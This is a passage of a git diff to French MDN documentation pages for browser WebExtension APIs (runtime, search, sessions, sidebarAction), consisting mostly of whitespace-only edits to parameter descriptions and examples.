Mozilla/Add-ons/WebExtensions/API/runtime/openOptionsPage --- {{AddonSidebar()}}Si votre extension a défini une [page d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages), cette méthode l'ouvre. -C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). +C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/platformarch/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/platformarch/index.md index 537d83b3f7..1221f2d845 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/platformarch/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/platformarch/index.md @@ -19,7 +19,7 @@ L'architecture du processeur de la machine. ## Type -Les valeurs de ce type sont des chaînes. Les valeurs possible sont : +Les valeurs de ce type sont des chaînes. Les valeurs possible sont : - `"arm"` - : La plateforme est basée sur l'architecture des bras. diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/port/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/port/index.md index c79a6fb7db..c4f5c8ab03 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/port/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/port/index.md @@ -48,7 +48,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - : `object`. Si le port a été déconnecté en raison d'une erreur, il sera défini sur un objet avec un `message`, de propriété de chaîne, vous donnant plus d'informations sur l'erreur. Voir `onDisconnect`. - `onDisconnect` - - : `object`. Cela contient les fonctions `addListener()` et `removeListener()` communes à tous les événements pour les extensions créées à l'aide des API. WebExtension. Les fonctions de l'écouteur seront appelées lorsque l'autre extrémité aura appelé `Port.disconnect()`. Cet événement ne sera déclenché qu'une fois pour chaque port. La fonction d'écouteur recevra l'objet `Port`. Si le port a été déconnecté en raison d'une erreur, l'argument `Port` contiendra une propriété `error` donnant plus d'informations sur l'erreur : + - : `object`. Cela contient les fonctions `addListener()` et `removeListener()` communes à tous les événements pour les extensions créées à l'aide des API. WebExtension. Les fonctions de l'écouteur seront appelées lorsque l'autre extrémité aura appelé `Port.disconnect()`. Cet événement ne sera déclenché qu'une fois pour chaque port. La fonction d'écouteur recevra l'objet `Port`. Si le port a été déconnecté en raison d'une erreur, l'argument `Port` contiendra une propriété `error` donnant plus d'informations sur l'erreur : ```js port.onDisconnect.addListener((p) => { @@ -58,14 +58,14 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant }); ``` - Notez que dans Google Chrome `port.error` n'est pas supporté: utilisez plutôt {{WebExtAPIRef("runtime.lastError")}} pour obtenir le message d'erreur. + Notez que dans Google Chrome `port.error` n'est pas supporté: utilisez plutôt {{WebExtAPIRef("runtime.lastError")}} pour obtenir le message d'erreur. - `onMessage` - : `object`. Cela contient les fonctions `addListener()` et `removeListener()` communes à tous les événements pour les extensions créées à l'aide des API WebExtension. Les fonctions de l'écouteur seront appelées lorsque l'autre extrémité aura envoyé un message à ce port. L'écouteur recevra l'objet JSON envoyé par l'autre extrémité. - `postMessage` - : `function`. Envoyer un message à l'autre extrémité. Cela prend un argument, qui est un objet JSON représentant le message à envoyer. Il sera fourni à tout script écoutant l'événement `onMessage` du port, ou à l'application native si ce port est connecté à une application native. - `sender`{{optional_inline}} - - : {{WebExtAPIRef('runtime.MessageSender')}}. Contient des informations sur l'expéditeur du message. ette propriété ne sera présente que sur les ports transmis aux écouteurs `onConnect`/`onConnectExternal`. + - : {{WebExtAPIRef('runtime.MessageSender')}}. Contient des informations sur l'expéditeur du message. ette propriété ne sera présente que sur les ports transmis aux écouteurs `onConnect`/`onConnectExternal`. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/requestupdatecheck/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/requestupdatecheck/index.md index 1a0eeb9f24..62083faee7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/requestupdatecheck/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/requestupdatecheck/index.md @@ -34,7 +34,7 @@ None. Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec deux arguments : - `status` - - : Une valeur {{WebExtAPIRef('runtime.RequestUpdateCheckStatus')}} — Le résultat de la vérification de mise à jour. + - : Une valeur {{WebExtAPIRef('runtime.RequestUpdateCheckStatus')}} — Le résultat de la vérification de mise à jour. - `details`{{optional_inline}} - : `object`. Si le `status` est `update_available`, cela contient plus d'informations sur la mise à jour. C'est un objet contenant une simple propriété : diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/sendmessage/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/sendmessage/index.md index ff709863be..7079e99306 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/sendmessage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/sendmessage/index.md @@ -41,7 +41,7 @@ var sending = browser.runtime.sendMessage( - `extensionId`{{optional_inline}} - - : `string`. L'ID de l'extension à envoyer le message. Incluez ceci pour envoyer le message à une extension différente..Si le destinataire prévu a défini un ID explicitement en utilisant la clé d' [applications](/fr/Add-ons/WebExtensions/manifest.json/applications) dans manifest.json, `extensionId` doit avoir une valeur. Sinon, il devrait avoir l'ID qui a été généré pour le destinataire prévu. + - : `string`. L'ID de l'extension à envoyer le message. Incluez ceci pour envoyer le message à une extension différente..Si le destinataire prévu a défini un ID explicitement en utilisant la clé d' [applications](/fr/Add-ons/WebExtensions/manifest.json/applications) dans mnifest.json, `extensionId` doit avoir une valeur. Sinon, il devrait avoir l'ID qui a été généré pour le destinataire prévu. Si `extensionId` est omis, le message sera envoyé à votre propre extension. diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/sendnativemessage/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/sendnativemessage/index.md index c6d4a46fcf..47116e75da 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/sendnativemessage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/sendnativemessage/index.md @@ -21,7 +21,7 @@ Cela prend deux paramètres obligatoires : le nom de l'application native et un C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). The first message sent by the native application is treated as a response to the `sendNativeMessage()` call, and the promise will be fulfilled with this message as a parameter. Note that you can't use {{WebExtAPIRef("runtime.onMessage")}} to get responses from the application: you must use the callback function instead. -Une nouvelle instance de l'application est lancée pour appel à `runtime.sendNativeMessage()`. Le navigateur terminera l'application native après avoir reçu une réponse. Pour mettre fin à une application native, le navigateur ferme le canal, donne au processus quelques secondes pour quitter normalement, puis le tue s'il ne s'est pas arrêté. +Une nouvelle instance de l'application est lancée pour appel à `runtime.sendNativeMessage()`. Le navigateur terminera l'application native après avoir reçu une réponse. Pour mettre fin à une application native, le navigateur ferme le canal, donne au processus quelques secondes pour quitter normalement, puis le tue s'il ne s'est pas arrêté. Pour plus d'informations, voir [Native messaging](/fr/Add-ons/WebExtensions/Native_messaging). @@ -59,7 +59,7 @@ function onResponse(response) { } function onError(error) { - console.log(`Error: ${error}`); + console.log(`Error: ${error}`); } /* diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/setuninstallurl/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/setuninstallurl/index.md index d2f9ff3ff2..45efb37eab 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/setuninstallurl/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/setuninstallurl/index.md @@ -30,7 +30,7 @@ var settingUrl = browser.runtime.setUninstallURL( ### Paramètres - `url` - - : `string`. L'URL à ouvrir après la désinstallation de l'extension. Cette URL doit avoir un schéma `http` ou `https`. Définissez-le sur une chaîne vide pour ne pas ouvrir un nouvel onglet lors de la désinstallation. + - : `string`. L'URL à ouvrir après la désinstallation de l'extension. Cette URL doit avoir un schéma `http` ou `https`. Définissez-le sur une chaîne vide pour ne pas ouvrir un nouvel onglet lors de la désinstallation. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/search/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/search/get/index.md index 9814c2b73b..d5d58ace49 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/search/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/search/get/index.md @@ -31,7 +31,7 @@ Aucun. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un [tableau](Web/JavaScript/Reference/Global_Objects/array) d'objets de moteur de recherche. Chaque objet de moteur de recherche peut contenir les propriétés suivantes : +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un [tableau](Web/JavaScript/Reference/Global_Objects/array) d'objets de moteur de recherche. Chaque objet de moteur de recherche peut contenir les propriétés suivantes : - `name` - : `string`. Le nom du moteur de recherche. diff --git a/files/fr/mozilla/add-ons/webextensions/api/search/search/index.md b/files/fr/mozilla/add-ons/webextensions/api/search/search/index.md index a417d24187..0eed264afe 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/search/search/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/search/search/index.md @@ -20,7 +20,7 @@ Les résultats seront affichés dans un nouvel onglet, ou si l'argument tabId es Pour utiliser cette fonction dans votre extension, vous devez demander la [permission manifest](/fr/Add-ons/WebExtensions/manifest.json/permissions) "search". -Pour obtenir les moteurs de recherche installés, utilisez {{WebExtAPIRef("search.get()")}}. +Pour obtenir les moteurs de recherche installés, utilisez {{WebExtAPIRef("search.get()")}}. ## Syntaxe @@ -41,7 +41,7 @@ browser.search.search( - `engine`{{optional_inline}} - : `string`. Le nom du moteur de recherche. Si le nom du moteur de recherche que vous spécifiez n'existe pas, la fonction lance une erreur. Si cette propriété est omise, le moteur de recherche par défaut sera utilisé. - `tabId`{{optional_inline}} - - : `integer`. Un identificateur facultatif pour l'onglet dans lequel vous voulez exécuter la recherche. Si cette propriété est omise, les résultats de la recherche seront affichés dans un nouvel onglet. + - : `integer`. Un identificateur facultatif pour l'onglet dans lequel vous voulez exécuter la recherche. Si cette propriété est omise, les résultats de la recherche seront affichés dans un nouvel onglet. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/getrecentlyclosed/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/getrecentlyclosed/index.md index c355b72b82..b7f07ae33a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/getrecentlyclosed/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/getrecentlyclosed/index.md @@ -30,11 +30,11 @@ var gettingSessions = browser.sessions.getRecentlyClosed( ### Paramètres - `filter`{{optional_inline}} - - : `object`. Un objet {{WebExtAPIRef("sessions.Filter")}} qui limite l'ensemble des sessions renvoyées. + - : `object`. Un objet {{WebExtAPIRef("sessions.Filter")}} qui limite l'ensemble des sessions renvoyées. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Cela sera rempli avec un ensemble d'objets {{WebExtAPIRef("sessions.Session", "Session")}}, un pour chacun des derniers onglets fermés ou des fenêtres dans la session de navigation actuelle, jusqu'à {{WebExtAPIRef("sessions.MAX_SESSION_RESULTS")}} ou le nombre inclus dans l'argument du filtre, le plus petit qui soit. Le tableau est donné à l'inverse de l'ordre dans lequel les onglets ou fenêtres ont été fermés, de sorte que le plus récemment fermé sera à l'index 0. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Cela sera rempli avec un ensemble d'objets {{WebExtAPIRef("sessions.Session", "Session")}}, un pour chacun des derniers onglets fermés ou des fenêtres dans la session de navigation actuelle, jusqu'à {{WebExtAPIRef("sessions.MAX_SESSION_RESULTS")}} ou le nombre inclus dans l'argument du filtre, le plus petit qui soit. Le tableau est donné à l'inverse de l'ordre dans lequel les onglets ou fenêtres ont été fermés, de sorte que le plus récemment fermé sera à l'index 0. Si une erreur survient, la promesse sera rejetée avec un message d'erreur. diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/gettabvalue/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/gettabvalue/index.md index 4bde501c6f..46e6612d9a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/gettabvalue/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/gettabvalue/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/sessions/getTabValue --- {{AddonSidebar()}} -Récupère une valeur précédemment stockée par un appel à {{WebExtAPIRef("sessions.setTabValue")}}. +Récupère une valeur précédemment stockée par un appel à {{WebExtAPIRef("sessions.setTabValue")}}. Vous pouvez récupérer une valeur d'un onglet même au cours d'un cycle de fermeture / restauration: si vous définissez une valeur, l'utilisateur ferme l'onglet, puis restaure l'onglet à l'aide de la fonction "restaurer l'onglet" du navigateur (par exemple, en appuyant sur Control+Shift+T), then you will be able to retrieve the value from the restored tab. vous pourrez alors récupérer la valeur de l'onglet restauré. Notez cependant qu'un onglet restauré n'obtient pas le même ID que l'original, donc l'ID que vous passez dans `getTabValue()` sera différent de l'ID que vous avez passé dans `setTabValue()`, même s'ils font tous deux référence au même onglet. @@ -38,7 +38,7 @@ var retrieving = browser.sessions.getTabValue( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera résolue avec la valeur si elle existe, ou `undefined`. Si elle n'existe pas. Si l'appel a échoué (par exemple, parce que l'ID de l'onglet n'a pas pu être trouvé), la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera résolue avec la valeur si elle existe, ou `undefined`. Si elle n'existe pas. Si l'appel a échoué (par exemple, parce que l'ID de l'onglet n'a pas pu être trouvé), la promesse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/index.md index f7b04289f8..bd8e9cdaf4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/index.md @@ -15,9 +15,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/sessions Utilisez l'API de sessions pour lister et restaurer, les onglets et les fenêtres qui ont été fermés pendant que le navigateur fonctionne. -La fonction {{WebExtAPIRef("sessions.getRecentlyClosed()")}} renvoie un tableau de {{WebExtAPIRef("tabs.Tab")}} et les objets {{WebExtAPIRef("windows.Window")}}, représente les onglets et les fenêtres qui ont été fermées depuis le fonctionnement du navigateur, jusqu'au maximum défini dans {{WebExtAPIRef("sessions.MAX_SESSION_RESULTS")}}. +La fonction {{WebExtAPIRef("sessions.getRecentlyClosed()")}} renvoie un tableau de {{WebExtAPIRef("tabs.Tab")}} et les objets {{WebExtAPIRef("windows.Window")}}, représente les onglets et les fenêtres qui ont été fermées depuis le fonctionnement du navigateur, jusqu'au maximum défini dans {{WebExtAPIRef("sessions.MAX_SESSION_RESULTS")}}. -Vous pouvez ensuite restaurer une fenêtre ou un onglet en utilisant la fonction {{WebExtAPIRef("sessions.restore()")}}. il restaure également l'historique de navigation de l'onglet, de sorte que les boutons arrière / avant fonctionnent. +Vous pouvez ensuite restaurer une fenêtre ou un onglet en utilisant la fonction {{WebExtAPIRef("sessions.restore()")}}. il restaure également l'historique de navigation de l'onglet, de sorte que les boutons arrière / avant fonctionnent. Cette API fournit également un groupe de fonctions permettant à une extension de stocker un état supplémentaire associé à un onglet ou une fenêtre. Ensuite, si l'onglet ou la fenêtre est fermé et restauré ultérieurement, l'extension peut récupérer l'état. Par exemple, une extension de groupe d'onglets peut l'utiliser pour se souvenir du groupe dans lequel se trouve un onglet, afin de le restaurer dans le bon groupe si l'utilisateur restaure l'onglet. @@ -40,7 +40,7 @@ Pour utiliser l'API des sessions, vous devez avoir la [permission API](/fr/Add-o - {{WebExtAPIRef("sessions.forgetClosedTab()")}} - : Supprime un onglet fermé de la liste des onglets récemment fermés du navigateur. - {{WebExtAPIRef("sessions.forgetClosedWindow()")}} - - : Supprime une fenêtre fermée de la liste des fenêtres récemment fermées du navigateur. + - : Supprime une fenêtre fermée de la liste des fenêtres récemment fermées du navigateur. - {{WebExtAPIRef("sessions.getRecentlyClosed()")}} - : Renvoie un tableau d'objets {{WebExtAPIRef("sessions.Session", "Session")}}, représentant des fenêtres et des onglets qui ont été fermés dans la session de navigation actuelle (c'est-à-dire l'heure écoulée depuis le démarrage du navigateur). - {{WebExtAPIRef("sessions.restore()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/onchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/onchanged/index.md index 1ec21c30e4..4eec572325 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/onchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/onchanged/index.md @@ -47,7 +47,7 @@ Les événements ont trois fonctions : ## Exemples -Cette extension écoute `onChanged`, puis restaure immédiatement la dernière session fermée, ce qui rend impossible de fermer les fenêtres ou les onglets : +Cette extension écoute `onChanged`, puis restaure immédiatement la dernière session fermée, ce qui rend impossible de fermer les fenêtres ou les onglets : ```js function restoreSession(sessionInfos) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/restore/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/restore/index.md index 62c12f269b..5b4af6758f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/restore/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/restore/index.md @@ -29,11 +29,11 @@ var restoringSession = browser.sessions.restore( ### Paramètres - `sessionId` - - : `string`. Une chaîne contenant l'ID de session pour la fenêtre ou l'onglet à restaurer. Cela se trouve dans la propriété `sessionId` de l'objet {{WebExtAPIRef("tabs.Tab", "Tab")}} ou {{WebExtAPIRef("windows.Window", "Window")}} dans {{WebExtAPIRef("sessions.Session", "Session")}} retourné de {{WebExtAPIRef("sessions.getRecentlyClosed()")}}. + - : `string`. Une chaîne contenant l'ID de session pour la fenêtre ou l'onglet à restaurer. Cela se trouve dans la propriété `sessionId` de l'objet {{WebExtAPIRef("tabs.Tab", "Tab")}} ou {{WebExtAPIRef("windows.Window", "Window")}} dans {{WebExtAPIRef("sessions.Session", "Session")}} retourné de {{WebExtAPIRef("sessions.getRecentlyClosed()")}}. ### Valeur renvoyée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Cela sera rempli avec un objet {{WebExtAPIRef("sessions.Session", "Session")}} représentant la session qui a été restaurée. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Cela sera rempli avec un objet {{WebExtAPIRef("sessions.Session", "Session")}} représentant la session qui a été restaurée. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/session/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/session/index.md index 5541af7be6..ed4124eb39 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/session/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/session/index.md @@ -19,7 +19,7 @@ L'objet de `Session` représente un onglet ou une fenêtre que l'utilisateur a f Les sessions sont représentées comme des objets {{WebExtAPIRef("tabs.Tab", "Tab")}} si l'onglet a été fermé mais sa fenêtre n'a pas été fermée : par exemple, parce que l'utilisateur a cliqué sur le bouton "fermer l'onglet", et cet onglet n'était pas le seul onglet de sa fenêtre. -Les sessions sont représentées par des objets {{WebExtAPIRef("windows.Window", "Window")}} si la fenêtre est fermée : parce que l'utilisateur a cliqué sur le bouton "Fermer la fenêtre", ou a fermé le seul onglet ouvert dans une fenêtre. +Les sessions sont représentées par des objets {{WebExtAPIRef("windows.Window", "Window")}} si la fenêtre est fermée : parce que l'utilisateur a cliqué sur le bouton "Fermer la fenêtre", ou a fermé le seul onglet ouvert dans une fenêtre. Notez que les différents navigateurs peuvent avoir une idée différente quand une session est un onglet et quand il s'agit d'une fenêtre. Par exemple : diff --git a/files/fr/mozilla/add-ons/webextensions/api/sessions/setwindowvalue/index.md b/files/fr/mozilla/add-ons/webextensions/api/sessions/setwindowvalue/index.md index 60e60d9249..e974e321b6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sessions/setwindowvalue/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sessions/setwindowvalue/index.md @@ -49,7 +49,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Définissez une valeur sur la fenêtre active lorsque l'utilisateur sélectionne un élément de menu. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "menus" pour exécuter cet exemple : +Définissez une valeur sur la fenêtre active lorsque l'utilisateur sélectionne un élément de menu. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "menus" pour exécuter cet exemple : ```js async function setOnActiveWindow() { diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/getpanel/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/getpanel/index.md index a765683a60..d38a00f0f1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/getpanel/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/getpanel/index.md @@ -33,13 +33,13 @@ var gettingPanel = browser.sidebarAction.getPanel( - : `object`. Un objet avec les propriétés suivantes : - `tabId`{{optional_inline}} - - : `integer`. Obtenir le panneau pour la barre latérale spécifique à l'onglet donné. + - : `integer`. Obtenir le panneau pour la barre latérale spécifique à l'onglet donné. - `windowId` {{optional_inline}} - : `integer`. Obtenir le panneau pour la barre latérale spécifique à la fenêtre donnée. <!----> -- Si `windowId` et `tabId` sont tous deux fournis, la fonction échoue et la promesse qu'elle renvoie est rejetée. +- Si `windowId` et `tabId` sont tous deux fournis, la fonction échoue et la promesse qu'elle renvoie est rejetée. - Si `windowId` et `tabId` sont tous les deux omis, le panneau global est renvoyé. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/gettitle/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/gettitle/index.md index 93d0fc7801..8a74ccdd6c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/gettitle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/gettitle/index.md @@ -18,7 +18,7 @@ Obtient le titre de la barre latérale. Tout comme vous pouvez définir le titre par tabulation à l'aide de {{WebExtAPIRef("sidebarAction.setTitle()")}},vous pouvez ainsi récupérer un titre spécifique à un onglet en lui transmettant l'ID de l'onglet. -C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). +C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). ## Syntaxe @@ -41,7 +41,7 @@ var gettingTitle = browser.sidebarAction.getTitle( <!----> -- Si `windowId` et `tabId` sont tous deux fournis, la fonction échoue et la promesse qu'elle renvoie est rejetée. +- Si `windowId` et `tabId` sont tous deux fournis, la fonction échoue et la promesse qu'elle renvoie est rejetée. - SI `windowId` et `tabId` sont tous les deux omis, le titre global est renvoyé. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/index.md index c9161c53b0..b2a9d236f2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/index.md @@ -18,7 +18,7 @@ Obtient et définit les propriétés de la barre latérale d'une extension. Une [barre latérale](/fr/Add-ons/WebExtensions/Sidebars) est un volet qui s'affiche à gauche ou à droite de la fenêtre du navigateur, à côté de la page Web. Le navigateur fournit une interface utilisateur qui permet à l'utilisateur de voir les barres latérales actuellement disponibles et de sélectionner une barre latérale à afficher. En utilisant la clé [`sidebar_action`](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action) manifest.json, une extension peut définir sa propre barre latérale. En utilisant l'API `sidebarAction` décrite ici, une extension peut obtenir et définir les propriétés de la barre latérale. -L'API `sidebarAction` est étroitement modélisée sur l'API {{WebExtAPIRef("browserAction")}}. +L'API `sidebarAction` est étroitement modélisée sur l'API {{WebExtAPIRef("browserAction")}}. L'API sidebarAction est basée sur l'[API sidebarAction](https://dev.opera.com/extensions/sidebar-action-api/) d'Opéra. Toutefois, notez que les éléments suivants ne sont pas encore pris en charge : `setBadgeText()`, `getBadgeText()`, `setBadgeBackgroundColor()`, `getBadgeBackgroundColor()`, `onFocus`, `onBlur`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/isopen/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/isopen/index.md index cd491161ad..492bd6299f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/isopen/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/isopen/index.md @@ -38,7 +38,7 @@ let gettingIsOpen = browser.sidebarAction.isOpen( - : `object`. Un objet contenant éventuellement le `windowId` à vérifier. - `windowId` {{optional_inline}} - - : `integer`. ID d'une fenêtre de navigateur à vérifier. Si omis par défaut, il s'agit de {{WebExtAPIRef("windows.WINDOW_ID_CURRENT")}}, qui fait référence à la fenêtre du navigateur la plus haute. + - : `integer`. ID d'une fenêtre de navigateur à vérifier. Si omis par défaut, il s'agit de {{WebExtAPIRef("windows.WINDOW_ID_CURRENT")}}, qui fait référence à la fenêtre du navigateur la plus haute. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/open/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/open/index.md index 93d1de0eb8..22949d6445 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/open/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/open/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/sidebarAction/open Vous pouvez uniquement appeler cette fonction à l'intérieur du gestionnaire pour une [action utilisateur](/fr/Add-ons/WebExtensions/User_actions). -C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). +C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/seticon/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/seticon/index.md index 2e537b4db3..f6940c7796 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/seticon/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/seticon/index.md @@ -46,7 +46,7 @@ var settingIcon = browser.sidebarAction.setIcon( - `details` - - : `object`. Un Objet contenant des propriétés `imageData` ou `path`, et éventuellement une propriété `tabId`. + - : `object`. Un Objet contenant des propriétés `imageData` ou `path`, et éventuellement une propriété `tabId`. - `imageData`{{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/setpanel/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/setpanel/index.md index d7681c8ab3..9f6cb430e1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/setpanel/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/setpanel/index.md @@ -20,11 +20,11 @@ Définit le panneau de la barre latérale: c'est-à-dire le document HTML qui d Les barres latérales ont toujours un _"panneau manifest"_, qui est le panneau défini dans la clé de manifest [`sidebar_action`](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action). -Si vous définissez un nouveau panneau à l'aide de `setPanel()`, et incluez l'option `tabId` le panneau est défini uniquement pour l'onglet donné. Ce panneau est appelé _"tab-specific panel"_. +Si vous définissez un nouveau panneau à l'aide de `setPanel()`, et incluez l'option `tabId` le panneau est défini uniquement pour l'onglet donné. Ce panneau est appelé "tab-specific panel"_. -Si vous définissez un nouveau panneau en utilisant `setPanel()`, et incluez l'option `windowId`, alors le panneau n'est défini que pour la fenêtre donnée. Ce panneau est appelé _"panneau spécifique à la fenêtre"_, et apparaîtra dans tous les onglets de cette fenêtre qui n'ont pas d'ensemble de panneaux spécifiques aux onglets. +Si vous définissez un nouveau panneau en utilisant `setPanel()`, et incluez l'option `windowId`, alors le panneau n'est défini que pour la fenêtre donnée. Ce panneau est appelé _"panneau spécifique à la fenêtre"_, et apparaîtra dans tous les onglets de cette fenêtre qui n'ont pas d'ensemble de panneaux spécifiques aux onglets. -Si vous définissez un nouveau panneau en utilisant `setPanel()`, et omettez les options `tabId` et `windowId`, alors ceci définit le _"panneau global"_. Le panneau global apparaîtra alors dans tous les onglets qui n'ont pas d'ensemble de panneaux spécifiques aux onglets et dont la fenêtre n'a pas de panneau spécifique à une fenêtre. +Si vous définissez un nouveau panneau en utilisant `setPanel()`, et omettez les options `tabId` et `windowId`, alors ceci définit le _"panneau global"_. Le panneau global apparaîtra alors dans tous les onglets qui n'ont pas d'ensemble de panneaux spécifiques aux onglets et dont la fenêtre n'a pas de panneau spécifique à une fenêtre. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/settitle/index.md b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/settitle/index.md index 8753ee57ca..a3b8d3e7b9 